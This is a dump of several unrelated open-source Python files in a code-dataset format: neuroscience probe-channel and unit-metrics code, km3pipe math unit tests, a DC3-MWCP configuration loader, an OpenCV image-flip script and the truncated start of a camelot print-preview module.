df_ccf_coords.iterrows():\n channel_id = str(uuid.uuid4())\n if index != 0 and index % 2 == 0:\n vertical_position += 20\n \n if index == 0:\n horizontal_position = horizontal_position_even[0]\n elif index == 1:\n horizontal_position = horizontal_position_odd[0]\n elif index != 0 and index % 2 == 0:\n if horizontal_position_even_index == 0:\n horizontal_position_even_index = 1\n horizontal_position = horizontal_position_even[horizontal_position_even_index]\n else:\n horizontal_position_even_index = 0\n horizontal_position = horizontal_position_even[horizontal_position_even_index]\n elif index != 1 and index % 1 == 0:\n if horizontal_position_odd_index == 0:\n horizontal_position_odd_index = 1\n horizontal_position = horizontal_position_odd[horizontal_position_odd_index]\n else:\n horizontal_position_odd_index = 0\n horizontal_position = horizontal_position_odd[horizontal_position_odd_index]\n\n channel_dict = {\n 'probe_id': probe_id,\n 'probe_channel_number': row.channel,\n 'structure_id': int(ccf_annotation_array[row.AP, row.DV, row.ML]),\n 'structure_acronym': clean_region(row.region),\n 'anterior_posterior_ccf_coordinate': float(row.AP*25),\n 'dorsal_ventral_ccf_coordinate': float(row.DV*25),\n 'left_right_ccf_coordinate': float(row.ML*25),\n 'probe_horizontal_position': horizontal_position,\n 'probe_vertical_position': vertical_position,\n 'id': row.channel + 1,\n 'valid_data': True\n }\n\n channels.append(channel_dict)\n #id_json_dict['channel_ids'].append(channel_id)\n\n #channel_id += 1\n else:\n for i in range(384):\n channel_id = str(uuid.uuid4())\n channel_dict = {\n 'probe_id': probe_id,\n 'probe_channel_number': i,\n 'structure_id': -1,\n 'structure_acronym': 'No Area',\n 'anterior_posterior_ccf_coordinate': -1.0,\n 'dorsal_ventral_ccf_coordinate': -1.0,\n 'left_right_ccf_coordinate': -1.0,\n 'probe_horizontal_position': -1,\n 'probe_vertical_position': -1,\n 'id': i + 1,\n 'valid_data': True\n }\n \n channels.append(channel_dict)\n #id_json_dict['channel_ids'].append(channel_id)\n\n #channel_id += 1\n\n return channels\n\ndef get_units_info_for_probe(current_probe:str, probe_metrics_path:dict, session:np_session.Session, channels:list[dict], id_json_dict:dict):\n #probe_metrics_csv_file = probe_metrics_path[current_probe[-1]]\n if '626791' in str(session.id):\n probe_metrics_csv_file = probe_metrics_path[current_probe[-1]]\n else:\n probe_metrics_csv_file = list(session.datajoint_path.glob('*{}*/*/*100*/metrics.csv'.format(current_probe[-1])))[0]\n \n if '_test' in str(probe_metrics_csv_file):\n df_metrics = pd.read_csv(probe_metrics_csv_file)\n df_waveforms = pd.read_csv(pathlib.Path(probe_metrics_csv_file.parent, 'waveform_metrics.csv'))\n df_metrics = df_metrics.merge(df_waveforms, on='cluster_id')\n else:\n df_metrics = pd.read_csv(probe_metrics_csv_file)\n\n df_metrics.fillna(0, inplace=True)\n\n local_index = 0\n \n \"\"\"\n if len(id_json_dict['unit_ids']) > 0:\n unit_id = id_json_dict['unit_ids'][-1] + 1\n else:\n unit_id = 0\n \"\"\"\n units = []\n \n for index, row in df_metrics.iterrows():\n unit_id = str(uuid.uuid4())\n unit_dict = {\n 'peak_channel_id': channels[row.peak_channel]['id'],\n 'cluster_id': row.cluster_id,\n 'quality': row.quality if 'quality' in df_metrics.columns else 'good',\n 'snr': row.snr if not pd.isna(row.snr) and not np.isinf(row.snr) else 0,\n 'firing_rate': row.firing_rate if not pd.isna(row.firing_rate) else 0,\n 'isi_violations': row.isi_viol if not pd.isna(row.isi_viol) else 0,\n 'presence_ratio': row.presence_ratio if not pd.isna(row.presence_ratio) else 0,\n 'amplitude_cutoff': row.amplitude_cutoff if not pd.isna(row.amplitude_cutoff) else 0,\n 'isolation_distance': row.isolation_distance if not pd.isna(row.isolation_distance) else 0,\n 'l_ratio': row.l_ratio if not pd.isna(row.l_ratio) else 0,\n 'd_prime': row.d_prime if not pd.isna(row.d_prime) else 0,\n 'nn_hit_rate': row.nn_hit_rate if not pd.isna(row.nn_hit_rate) else 0,\n 'nn_miss_rate': row.nn_miss_rate if not pd.isna(row.nn_miss_rate) else 0,\n 'silhouette_score': row.silhouette_score if not pd.isna(row.silhouette_score) else 0,\n 'max_drift': row.max_drift if not pd.isna(row.max_drift) else 0,\n 'cumulative_drift': row.cumulative_drift if not pd.isna(row.cumulative_drift) else 0,\n 'waveform_duration': row.duration if not pd.isna(row.duration) else 0,\n 'waveform_halfwidth': row.halfwidth if not pd.isna(row.halfwidth) else 0,\n 'PT_ratio': row.PT_ratio if not pd.isna(row.PT_ratio) else 0,\n 'repolarization_slope': row.repolarization_slope if not pd.isna(row.repolarization_slope) else 0,\n 'recovery_slope': row.recovery_slope if not pd.isna(row.recovery_slope) else 0,\n 'amplitude': row.amplitude if not pd.isna(row.amplitude) else 0,\n 'spread': row.spread if not pd.isna(row.spread) else 0,\n 'velocity_above': row.velocity_above if not pd.isna(row.velocity_above) else 0,\n 'velocity_below': row.velocity_below if not pd.isna(row.velocity_below) else 0,\n 'local_index': channels[row.peak_channel]['probe_id'],\n 'id': unit_id\n }\n\n #id_json_dict['unit_ids'].append(unit_id)\n units.append(unit_dict)\n local_index += 1\n #unit_id += 1\n\n return units","repo_name":"arjunsridhar12345/np_probes","sub_path":"src/np_probes/probe_channel_units.py","file_name":"probe_channel_units.py","file_ext":"py","file_size_in_byte":8457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32598255598","text":"# Filename: test_math.py\n# pylint: disable=locally-disabled,C0111,R0904,C0103\n\nimport numpy as np\nfrom numpy.testing import assert_almost_equal, assert_allclose\nimport pytest\n\nfrom km3pipe.testing import TestCase\nfrom km3pipe import Table\nfrom km3pipe.math import (\n angle,\n angle_between,\n magnitude,\n dist,\n pld3,\n com,\n zenith,\n azimuth,\n Polygon,\n IrregularPrism,\n rotation_matrix,\n spherecutmask,\n spherecut,\n SparseCone,\n space_angle,\n hsin,\n phi,\n theta,\n unit_vector,\n log_b,\n qeuler,\n qrot,\n qrot_yaw,\n intersect_3d,\n)\n\n__author__ = [\"Tamas Gal\", \"Moritz Lotze\"]\n__copyright__ = \"Copyright 2016, KM3Pipe devs and the KM3NeT collaboration.\"\n__credits__ = [\"Thomas Heid\"]\n__license__ = \"MIT\"\n__maintainer__ = [\"Tamas Gal\", \"Moritz Lotze\"]\n__email__ = \"tgal@km3net.de\"\n__status__ = \"Development\"\n\n\nclass TestMath(TestCase):\n def setUp(self):\n # self.vecs = np.array([[0., 1., 5.],\n # [1., 1., 4.],\n # [2., 1., 3.],\n # [3., 1., 2.],\n # [4., 1., 1.]])\n # self.v = (1, 2, 3)\n self.v = np.array([0.26726124, 0.53452248, 0.80178373])\n self.vecs = np.array(\n [\n [0.0, 0.19611614, 0.98058068],\n [0.23570226, 0.23570226, 0.94280904],\n [0.53452248, 0.26726124, 0.80178373],\n [0.80178373, 0.26726124, 0.53452248],\n [0.94280904, 0.23570226, 0.23570226],\n ]\n )\n\n def test_phi(self):\n print(phi((1, 0, 0)))\n assert_almost_equal(0, phi((1, 0, 0)))\n assert_almost_equal(np.pi, phi((-1, 0, 0)))\n assert_almost_equal(np.pi / 2, phi((0, 1, 0)))\n assert_almost_equal(np.pi / 2 * 3, phi((0, -1, 0)))\n assert_almost_equal(np.pi / 2 * 3, phi((0, -1, 0)))\n assert_almost_equal(0, phi((0, 0, 0)))\n assert_almost_equal(phi(self.v), 1.10714872)\n assert_almost_equal(\n phi(self.vecs),\n np.array([1.57079633, 0.78539816, 0.46364761, 0.32175055, 0.24497866]),\n )\n\n def test_zenith(self):\n assert_allclose(np.pi, zenith((0, 0, 1)))\n assert_allclose(0, zenith((0, 0, -1)))\n assert_allclose(np.pi / 2, zenith((0, 1, 0)))\n assert_allclose(np.pi / 2, zenith((0, -1, 0)))\n assert_allclose(np.pi / 4 * 3, zenith((0, 1, 1)))\n assert_allclose(np.pi / 4 * 3, zenith((0, -1, 1)))\n assert_almost_equal(zenith(self.v), 2.5010703409103687)\n assert_allclose(\n zenith(self.vecs),\n np.array([2.94419709, 2.80175574, 2.50107034, 2.13473897, 1.80873745]),\n )\n\n def test_azimuth(self):\n self.assertTrue(np.allclose(np.pi, azimuth((1, 0, 0))))\n self.assertTrue(np.allclose(0, azimuth((-1, 0, 0))))\n\n print(azimuth((0, 1, 0)))\n print(azimuth((0, -1, 0)))\n print(azimuth((0, 0, 0)))\n print(azimuth(self.v))\n print(azimuth(self.vecs))\n self.assertTrue(np.allclose(np.pi / 2 * 3, azimuth((0, 1, 0))))\n self.assertTrue(np.allclose(np.pi / 2, azimuth((0, -1, 0))))\n self.assertTrue(np.allclose(np.pi, azimuth((0, 0, 0))))\n self.assertTrue(np.allclose(azimuth(self.v), 4.24874137138))\n self.assertTrue(\n np.allclose(\n azimuth(self.vecs),\n np.array([4.71238898, 3.92699082, 3.60524026, 3.46334321, 3.38657132]),\n )\n )\n\n def test_theta(self):\n print(theta((0, 0, -1)))\n print(theta((0, 0, 1)))\n print(theta((0, 1, 0)))\n print(theta((0, -1, 0)))\n print(theta((0, 1, 1)))\n print(theta((0, -1, 1)))\n print(theta(self.v))\n print(theta(self.vecs))\n self.assertTrue(np.allclose(0, theta((0, 0, 1))))\n self.assertTrue(np.allclose(np.pi, theta((0, 0, -1))))\n self.assertTrue(np.allclose(np.pi / 2, theta((0, 1, 0))))\n self.assertTrue(np.allclose(np.pi / 2, theta((0, -1, 0))))\n self.assertTrue(np.allclose(0, theta((0, 1, 1))))\n self.assertTrue(np.allclose(0, theta((0, -1, 1))))\n self.assertTrue(np.allclose(theta(self.v), 0.64052231))\n self.assertTrue(\n np.allclose(\n theta(self.vecs),\n np.array([0.19739554, 0.33983691, 0.64052231, 1.00685369, 1.3328552]),\n )\n )\n\n def test_unit_vector(self):\n v1 = (1, 0, 0)\n v2 = (1, 1, 0)\n v3 = (-1, 2, 0)\n assert np.allclose(v1, unit_vector(v1))\n assert np.allclose(np.array(v2) / np.sqrt(2), unit_vector(v2))\n assert np.allclose(np.array(v3) / np.sqrt(5), unit_vector(v3))\n\n def test_magnitude(self):\n assert 1 == magnitude(np.array([1, 0, 0]))\n assert 2 == magnitude(np.array([0, 2, 0]))\n assert 3 == magnitude(np.array([0, 0, 3]))\n assert np.allclose(\n [3.74165739, 8.77496439, 13.92838828],\n magnitude(np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])),\n )\n\n def test_angle(self):\n v1 = np.array([1, 0, 0])\n v2 = np.array([0, 1, 0])\n v3 = np.array([-1, 0, 0])\n self.assertAlmostEqual(0, angle(v1, v1))\n self.assertAlmostEqual(np.pi / 2, angle(v1, v2))\n self.assertAlmostEqual(np.pi, angle(v1, v3))\n self.assertAlmostEqual(angle(self.v, v1), 1.3002465638163236)\n self.assertAlmostEqual(angle(self.v, v2), 1.0068536854342678)\n self.assertAlmostEqual(angle(self.v, v3), 1.8413460897734695)\n\n assert np.allclose(\n [1.300246563816323, 1.0068536854342678, 1.8413460897734695],\n angle(np.array([self.v, self.v, self.v]), np.array([v1, v2, v3])),\n )\n\n def test_angle_between(self):\n v1 = (1, 0, 0)\n v2 = (0, 1, 0)\n v3 = (-1, 0, 0)\n self.assertAlmostEqual(0, angle_between(v1, v1))\n self.assertAlmostEqual(np.pi / 2, angle_between(v1, v2))\n self.assertAlmostEqual(np.pi, angle_between(v1, v3))\n self.assertAlmostEqual(angle_between(self.v, v1), 1.3002465638163236)\n self.assertAlmostEqual(angle_between(self.v, v2), 1.0068536854342678)\n self.assertAlmostEqual(angle_between(self.v, v3), 1.8413460897734695)\n\n assert np.allclose(\n [0.0, 0.0, 0.0]\n - angle_between(np.array([v1, v2, v3]), np.array([v1, v2, v3]), axis=1),\n 0,\n )\n assert np.allclose(\n [np.pi / 2, np.pi]\n - angle_between(np.array([v1, v1]), np.array([v2, v3]), axis=1),\n 0,\n )\n\n self.assertTrue(\n np.allclose(\n angle_between(self.vecs, v1),\n np.array([1.57079633, 1.3328552, 1.0068537, 0.64052231, 0.33983691]),\n )\n )\n self.assertTrue(\n np.allclose(\n angle_between(self.vecs, v2),\n np.array([1.37340077, 1.3328552, 1.3002466, 1.30024656, 1.3328552]),\n )\n )\n self.assertTrue(\n np.allclose(\n angle_between(self.vecs, v3),\n np.array([1.57079633, 1.80873745, 2.13473897, 2.50107034, 2.80175574]),\n )\n )\n\n def test_angle_between_returns_nan_for_zero_length_vectors(self):\n v1 = (0, 0, 0)\n v2 = (1, 0, 0)\n with pytest.warns(RuntimeWarning):\n self.assertTrue(np.isnan(angle_between(v1, v2)))\n\n def test_space_angle(self):\n p1 = (np.pi / 2, np.pi)\n p2 = (np.pi, 0)\n self.assertAlmostEqual(\n space_angle(p1[0], p2[0], p1[1], p2[1]), 1.57079632679489\n )\n p3 = (0, np.pi)\n p4 = (np.pi / 2, 0)\n self.assertAlmostEqual(\n space_angle(p3[0], p4[0], p3[1], p4[1]), 1.57079632679489\n )\n\n def test_hsin(self):\n assert np.all(hsin((np.pi, 0)) == (1, 0))\n self.assertAlmostEqual(hsin(np.pi / 2), 0.5)\n\n def test_pld3(self):\n p1 = np.array((0, 0, 0))\n p2 = np.array((0, 0, 1))\n d2 = np.array((0, 1, 0))\n self.assertAlmostEqual(1, pld3(p1, p2, d2))\n p1 = np.array((0, 0, 0))\n p2 = np.array((0, 0, 2))\n d2 = np.array((0, 1, 0))\n self.assertAlmostEqual(2, pld3(p1, p2, d2))\n p1 = np.array((0, 0, 0))\n p2 = np.array((0, 0, 0))\n d2 = np.array((0, 1, 0))\n self.assertAlmostEqual(0, pld3(p1, p2, d2))\n p1 = np.array((1, 2, 3))\n p2 = np.array((4, 5, 6))\n d2 = np.array((7, 8, 9))\n self.assertAlmostEqual(0.5275893, pld3(p1, p2, d2))\n p1 = np.array((0, 0, 2))\n p2 = np.array((-100, 0, -100))\n d2 = np.array((1, 0, 1))\n self.assertAlmostEqual(1.4142136, pld3(p1, p2, d2))\n p1 = np.array([183.0, -311.0, 351.96083871])\n p2 = np.array([40.256, -639.888, 921.93])\n d2 = np.array([0.185998, 0.476123, -0.859483])\n self.assertAlmostEqual(21.25456308, pld3(p1, p2, d2))\n\n def test_com(self):\n center_of_mass = com(((1, 2, 3), (4, 5, 6), (7, 8, 9), (10, 11, 12)))\n self.assertEqual((5.5, 6.5, 7.5), tuple(center_of_mass))\n center_of_mass = com(((1, 2, 3), (4, 5, 6), (7, 8, 9)), masses=(1, 0, 0))\n self.assertEqual((1, 2, 3), tuple(center_of_mass))\n center_of_mass = com(((1, 1, 1), (0, 0, 0)))\n self.assertEqual((0.5, 0.5, 0.5), tuple(center_of_mass))\n\n\nclass TestShapes(TestCase):\n def setUp(self):\n self.poly = [\n (-60, 120),\n (80, 120),\n (110, 60),\n (110, -30),\n (70, -110),\n (-70, -110),\n (-90, -70),\n (-90, 60),\n ]\n\n def test_poly_containment(self):\n polygon = Polygon(self.poly)\n point_in = (-40, -40)\n point_out = (-140, -140)\n points = [\n (-40, -40),\n (-140, -140),\n (40, -140),\n ]\n assert np.all(polygon.contains(point_in))\n assert not np.any(polygon.contains(point_out))\n assert np.all(polygon.contains(points) == [True, False, False])\n\n def test_poly_xy(self):\n polygon = Polygon(self.poly)\n x = (-40, -140, 40)\n y = (-40, -140, -140)\n assert np.all(polygon.contains_xy(x, y) == [True, False, False])\n\n def test_prism_contained(self):\n z = (-90, 90)\n prism = IrregularPrism(self.poly, z[0], z[1])\n points = [\n (0, 1, 2),\n (-100, 20, 10),\n (10, 90, 10),\n ]\n assert np.all(prism.contains(points) == [True, False, True])\n\n def test_prism_contained_xyz(self):\n z = (-90, 90)\n prism = IrregularPrism(self.poly, z[0], z[1])\n x = (0, -100, 10)\n y = (1, 20, 90)\n z = (2, 10, 10)\n assert np.all(prism.contains_xyz(x, y, z) == [True, False, True])\n\n\nclass TestRotation(TestCase):\n def test_rotmat(self):\n v = [3, 5, 0]\n axis = [4, 4, 1]\n theta = 1.2\n newvec = np.dot(rotation_matrix(axis, theta), v)\n self.assertTrue(\n np.allclose(newvec, np.array([2.74911638, 4.77180932, 1.91629719]))\n )\n\n def test_cone(self):\n spike = [1, 1, 0]\n bottom = [0, 2, 0]\n angle = np.pi / 4\n n_angles = 20\n cone = SparseCone(spike, bottom, angle)\n circ_samp = cone.sample_circle(n_angles=n_angles)\n axis_samp = cone.sample_axis\n samp = cone.sample(n_angles)\n assert len(circ_samp) == n_angles\n assert len(axis_samp) == 2\n assert len(samp) == len(circ_samp) + 2\n\n\nclass TestSphereCut(TestCase):\n def test_spherecut_mask(self):\n center = (0.0, 0.0, 0.0)\n items = Table(\n {\n \"pos_x\": [0, 10, 0, 20, 0],\n \"pos_y\": [10, 0, 0, 0, 30],\n \"pos_z\": [0, 0, 10, 0, 0],\n }\n )\n rmin = 0.0\n rmax = 10.0\n self.assertListEqual(\n list(spherecutmask(center, rmin, rmax, items)),\n [True, True, True, False, False],\n )\n\n def test_with_table(self):\n center = (0.0, 0.0, 0.0)\n items = Table(\n {\n \"pos_x\": [0, 10, 0, 20, 0],\n \"pos_y\": [10, 0, 0, 0, 30],\n \"pos_z\": [0, 0, 10, 0, 0],\n }\n )\n rmin = 0.0\n rmax = 10.0\n selected_items = spherecut(center, rmin, rmax, items)\n assert len(selected_items) == 3\n self.assertListEqual(\n list(items[spherecutmask(center, rmin, rmax, items)]), list(selected_items)\n )\n\n def test_with_array(self):\n center = (0.0, 0.0, 0.0)\n items = np.array([[0, 10, 0], [10, 0, 0], [0, 0, 10], [20, 0, 0], [0, 30, 0]])\n rmin = 0.0\n rmax = 10.0\n selected_items = [list(e) for e in spherecut(center, rmin, rmax, items)]\n assert len(selected_items) == 3\n assert [0, 10, 0] in selected_items\n assert [10, 0, 0] in selected_items\n assert [0, 0, 10] in selected_items\n\n def test_center(self):\n center = (0.0, 10.0, 0.0)\n items = Table(\n {\n \"pos_x\": [0, 10, 0, 20, 0],\n \"pos_y\": [10, 0, 0, 0, 30],\n \"pos_z\": [0, 0, 10, 0, 0],\n }\n )\n rmin = 0.0\n rmax = 15.0\n selected_items = spherecut(center, rmin, rmax, items)\n assert len(selected_items) == 3\n self.assertListEqual(\n list(items[spherecutmask(center, rmin, rmax, items)]), list(selected_items)\n )\n\n def test_rmin(self):\n center = (0.0, 0.0, 0.0)\n items = np.array([[0, 10, 0], [10, 0, 0], [0, 0, 10], [20, 0, 0], [0, 30, 0]])\n rmin = 20.0\n rmax = 40.0\n selected_items = [list(e) for e in spherecut(center, rmin, rmax, items)]\n assert len(selected_items) == 2\n assert [20, 0, 0] in selected_items\n assert [0, 30, 0] in selected_items\n\n\nclass TestLog(TestCase):\n def test_val(self):\n assert_allclose(log_b(5, 2), np.log2(5))\n assert_allclose(log_b(5, 10), np.log10(5))\n assert_allclose(log_b(5, np.e), np.log(5))\n\n\nclass TestQeuler(TestCase):\n def test_conversion_of_yaw(self):\n assert np.allclose([1, 0, 0, 0], qeuler(0, 0, 0))\n assert np.allclose([0.7071, 0, 0, 0.7071], qeuler(90, 0, 0))\n assert np.allclose([0, 0, 0, 1], qeuler(180, 0, 0))\n assert np.allclose([-0.7071, 0, 0, 0.7071], qeuler(270, 0, 0))\n assert np.allclose([-1, 0, 0, 0], qeuler(360, 0, 0))\n\n def test_conversion_of_pitch(self):\n assert np.allclose([0.92388, 0, 0.38268, 0], qeuler(0, 45, 0))\n assert np.allclose([0.92388, 0, -0.38268, 0], qeuler(0, -45, 0))\n assert np.allclose([0.7071, 0, 0.7071, 0], qeuler(0, 90, 0))\n assert np.allclose([0.8660254, 0, 0.5, 0], qeuler(0, 60, 0))\n assert np.allclose([-0.96592583, 0, -0.25881905, 0], qeuler(0, 390, 0))\n\n def test_conversion_of_roll(self):\n assert np.allclose([0.92388, 0.38268, 0, 0], qeuler(0, 0, 45))\n assert np.allclose([0.92388, -0.38268, 0, 0], qeuler(0, 0, -45))\n assert np.allclose([0.70710, 0.70710, 0, 0], qeuler(0, 0, 90))\n assert np.allclose([0.86602, 0.5, 0, 0], qeuler(0, 0, 60))\n assert np.allclose([-0.96592583, -0.25881905, 0, 0], qeuler(0, 0, 390))\n\n def test_mixed_conversion(self):\n assert np.allclose(\n [0.999471, 0.02601972, 0.01767416, 0.00826538], qeuler(1, 2, 3)\n )\n assert np.allclose(\n [0.94371436, 0.26853582, -0.14487813, 0.12767944], qeuler(10, -20, 30)\n )\n assert np.allclose(\n [-0.16575384, -0.69624819, 0.05479592, -0.69624819], qeuler(-999, 999, -999)\n )\n\n\nclass TestQrot(TestCase):\n def test_rotation_of_x_vector(self):\n assert np.allclose([0, 1, 0], qrot([1, 0, 0], qeuler(90, 0, 0)))\n assert np.allclose([-1, 0, 0], qrot([1, 0, 0], qeuler(180, 0, 0)))\n assert np.allclose([-1, 0, 0], qrot([1, 0, 0], qeuler(180, 0, -45)))\n assert np.allclose([0, 0, -1], qrot([1, 0, 0], qeuler(180, 90, 45)))\n\n def test_rotation_of_y_vector(self):\n assert np.allclose([-1, 0, 0], qrot([0, 1, 0], qeuler(90, 0, 0)))\n assert np.allclose([0, -1, 0], qrot([0, 1, 0], qeuler(180, 0, 0)))\n assert np.allclose(\n [0, -0.70710, -0.70710], qrot([0, 1, 0], qeuler(180, 0, -45))\n )\n assert np.allclose(\n [-0.70710, -0.70710, 0], qrot([0, 1, 0], qeuler(180, 90, 45))\n )\n\n def test_rotation_of_z_vector(self):\n assert np.allclose([0, 0, 1], qrot([0, 0, 1], qeuler(90, 0, 0)))\n assert np.allclose([0, 0, 1], qrot([0, 0, 1], qeuler(180, 0, 0)))\n assert np.allclose([0, -0.70710, 0.70710], qrot([0, 0, 1], qeuler(180, 0, -45)))\n assert np.allclose([-0.70710, 0.70710, 0], qrot([0, 0, 1], qeuler(180, 90, 45)))\n\n def test_mixed_rotation(self):\n assert np.allclose([1, 2, 3], qrot([1, 2, 3], qeuler(0, 0, 0)))\n assert np.allclose([0, -1.414213, 0], qrot([0, 1, -1], qeuler(180, 90, 45)))\n assert np.allclose([-1.41421356, 0, -1], qrot([1, 1, 1], qeuler(180, 90, 45)))\n assert np.allclose(\n [-14.1421356, 0, -10], qrot([10, 10, 10], qeuler(180, 90, 45))\n )\n\n\nclass TestQrotYaw(TestCase):\n def test_call_with_list(self):\n qrot_yaw([1, 2, 3], 1)\n\n def test_no_rotation(self):\n vec = (1, 0, 0)\n vec_rot = qrot_yaw(vec, 0)\n assert np.allclose([1, 0, 0], vec_rot)\n\n def test_a_rotation_of_90(self):\n vec = (1, 0, 0)\n vec_rot = qrot_yaw(vec, 90)\n assert np.allclose([0, 1, 0], vec_rot)\n\n def test_a_rotation_of_180(self):\n vec = (1, 0, 0)\n vec_rot = qrot_yaw(vec, 180)\n assert np.allclose([-1, 0, 0], vec_rot)\n\n def test_a_full_rotation(self):\n vec = (1, 0, 0)\n vec_rot = qrot_yaw(vec, 360)\n assert np.allclose([1, 0, 0], vec_rot)\n\n def test_a_rotation_of_45(self):\n vec = (1, 0, 0)\n vec_rot = qrot_yaw(vec, 45)\n assert np.allclose([0.7071, 0.7071, 0], vec_rot)\n\n\nclass TestIntersect3D(TestCase):\n def test_intersection_at_zero(self):\n p1 = np.array([(1, 0, 0), (0, 0, 1)])\n p2 = -p1\n intersection = intersect_3d(p1, p2)\n assert np.allclose([0, 0, 0], intersection)\n\n def test_intersection_of_multiple_lines_with_same_endpoints(self):\n p1 = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)])\n p2 = np.array([(4, 4, 4), (4, 4, 4), (4, 4, 4)])\n intersection = intersect_3d(p1, p2)\n assert np.allclose([4, 4, 4], intersection)\n\n def test_intersection_of_multiple_lines_with_target(self):\n p1 = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)])\n target = np.array([23, 5, 42])\n p2 = 2 * target - p1\n intersection = intersect_3d(p1, p2)\n assert np.allclose(target, intersection)\n\n def test_another_intersection(self):\n p1 = np.array([(1, 10, 0), (0, 10, 1)])\n p2 = np.array([(-1, 10, 0), (0, 10, -1)])\n intersection = intersect_3d(p1, p2)\n assert np.allclose([0, 10, 0], intersection)\n\n\nclass TestDist(TestCase):\n def test_dist_between_two_2D_points(self):\n self.assertAlmostEqual(1, dist(np.array([0, 0]), np.array([1, 0])))\n self.assertAlmostEqual(np.sqrt(2), dist(np.array([0, 1]), np.array([1, 0])))\n self.assertAlmostEqual(2 * np.sqrt(2), dist(np.array([1, 2]), np.array([3, 4])))\n\n def test_dist_between_two_3D_points(self):\n self.assertAlmostEqual(1, dist(np.array([0, 0, 0]), np.array([1, 0, 0])))\n self.assertAlmostEqual(\n np.sqrt(2), dist(np.array([0, 1, 0]), np.array([1, 0, 0]))\n )\n self.assertAlmostEqual(2, dist(np.array([0, 0, 2]), np.array([0, 0, 0])))\n self.assertAlmostEqual(\n 5.1961524, dist(np.array([1, 2, 3]), np.array([4, 5, 6]))\n )\n\n def test_dist_to_many_points(self):\n assert np.allclose(\n [1, 1, 0, 1.73205081],\n dist(\n np.array([0, 0, 0]),\n np.array([[0, 0, 1], [0, 0, 1], [0, 0, 0], [1, 1, 1]]),\n axis=1,\n ),\n )\n","repo_name":"tamasgal/km3pipe","sub_path":"src/km3pipe/tests/test_math.py","file_name":"test_math.py","file_ext":"py","file_size_in_byte":20170,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"62"} +{"seq_id":"17663464300","text":"\"\"\"Stores default configuration values.\"\"\"\n\nimport logging\nimport os\nimport pkg_resources\n\n\nimport appdirs\nfrom ruamel.yaml import YAML\n\n\nlogger = logging.getLogger(__name__)\nyaml = YAML()\n\n\nclass Config(dict):\n\n CONFIG_FILE_NAME = 'config.yml'\n USER_CONFIG_DIR = appdirs.user_config_dir('mwcp', appauthor=False)\n\n # Fields which contain a file or directory path.\n PATH_FIELDS = ['LOG_CONFIG_PATH', 'TESTCASE_DIR', 'MALWARE_REPO', 'PARSER_DIR', 'PARSER_CONFIG_PATH']\n\n def __repr__(self):\n return 'Config({})'.format(super(Config, self).__repr__())\n\n @property\n def user_path(self):\n \"\"\"Returns the path to the user config file.\"\"\"\n # Get user directory.\n cfg_dir = self.USER_CONFIG_DIR\n if not os.path.isdir(cfg_dir):\n os.makedirs(cfg_dir)\n\n # Create a user copy if it doesn't exist.\n cfg_file_path = os.path.join(cfg_dir, self.CONFIG_FILE_NAME)\n if not os.path.isfile(cfg_file_path):\n with pkg_resources.resource_stream('mwcp.config', self.CONFIG_FILE_NAME) as default_cfg:\n with open(cfg_file_path, 'wb') as fp:\n fp.write(default_cfg.read())\n\n # Also copy over log_config.yml\n log_config_path = os.path.join(cfg_dir, 'log_config.yml')\n if not os.path.isfile(log_config_path):\n default_log_cfg = pkg_resources.resource_stream('mwcp.config', 'log_config.yml')\n with open(log_config_path, 'wb') as fp:\n fp.write(default_log_cfg.read())\n default_log_cfg.close()\n\n return cfg_file_path\n\n def load(self, file_path=None):\n \"\"\"Loads configuration file.\"\"\"\n if not file_path:\n file_path = self.user_path\n\n with open(file_path, 'r') as fp:\n config = dict(yaml.load(fp))\n\n # Convert file path into absolute paths.\n directory = os.path.dirname(file_path)\n for key, value in config.items():\n if key in self.PATH_FIELDS:\n value = os.path.expanduser(value)\n value = os.path.expandvars(value)\n value = os.path.join(directory, value)\n value = os.path.abspath(value)\n config[key] = value\n self.update(config)\n\n\n_config = Config()\n\n# We are going to manually add the fields.json path because\n# the fields.json file is not currently designed to be modified.\n_config['FIELDS_PATH'] = os.path.abspath(pkg_resources.resource_filename('mwcp.config', 'fields.json'))\n\n","repo_name":"0xd0cf11e/DC3-MWCP","sub_path":"mwcp/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"38805384793","text":"import cv2\n\n# 이미지 읽어옴\nimg_src = cv2.imread('images/glass.jpg', cv2.IMREAD_COLOR)\n\n# 대칭 이미지 생성\nimg_flip = cv2.flip(img_src, 0)\nimg_flip_h = cv2.flip(img_src, 10)\n# cv2.flip(src, flipCode)는 원본 이미지(src)에 대칭 축(flipCode)을 기준으로 대칭한 출력 이미지(dst)를 반환\n# flipCode < 0은 XY 축 대칭(상하좌우 대칭)을 적용\n# flipCode = 0은 X 축 대칭(상하 대칭)을 적용\n# flipCode > 0은 Y 축 대칭(좌우 대칭)을 적용\n\n# 이미지 붙이기\nimg_dst_v = cv2.vconcat([img_src,img_flip])\nimg_dst_v = cv2.pyrDown(img_dst_v)\n# pyrDown 크기를 반으로 줄인다.\n\n\n# 이미지 붙이기\nimg_dst_h = cv2.hconcat([img_src,img_flip_h])\nimg_dst_h = cv2.pyrDown(img_dst_h)\n\ncv2.imshow('Color', img_src)\ncv2.imshow(\"flip\", img_flip)\ncv2.imshow('merge', img_dst_v)\ncv2.imshow('merge_h', img_dst_h)\ncv2.imwrite('images/flip1.jpg',img_dst_v)\ncv2.imwrite('images/flip2.jpg',img_dst_h)\ncv2.waitKey()\ncv2.destroyAllWindows()\n# 모든 윈도우 창 제거 함수(cv2.destroyAllWindows)","repo_name":"sungyun0701/Study_CS-or-etc","sub_path":"python_opencv/.vscode/flip_0330.py","file_name":"flip_0330.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"33267616372","text":"from PyQt4 import QtCore, QtGui\n\nfrom camelot.admin.action import ( ActionStep,\n DocumentActionGuiContext )\nfrom camelot.admin.action.document_action import EditDocument\nfrom camelot.core.templates import environment\nfrom camelot.view.action_steps.open_file import OpenFile\nfrom camelot.view.utils import resize_widget_to_screen\n\nclass PrintPreviewDialog( QtGui.QPrintPreviewDialog ):\n \"\"\"A custom :class:`QtGui.QPrintPreviewDialog` that allows additional \n actions on the toolbar.\n \n :param 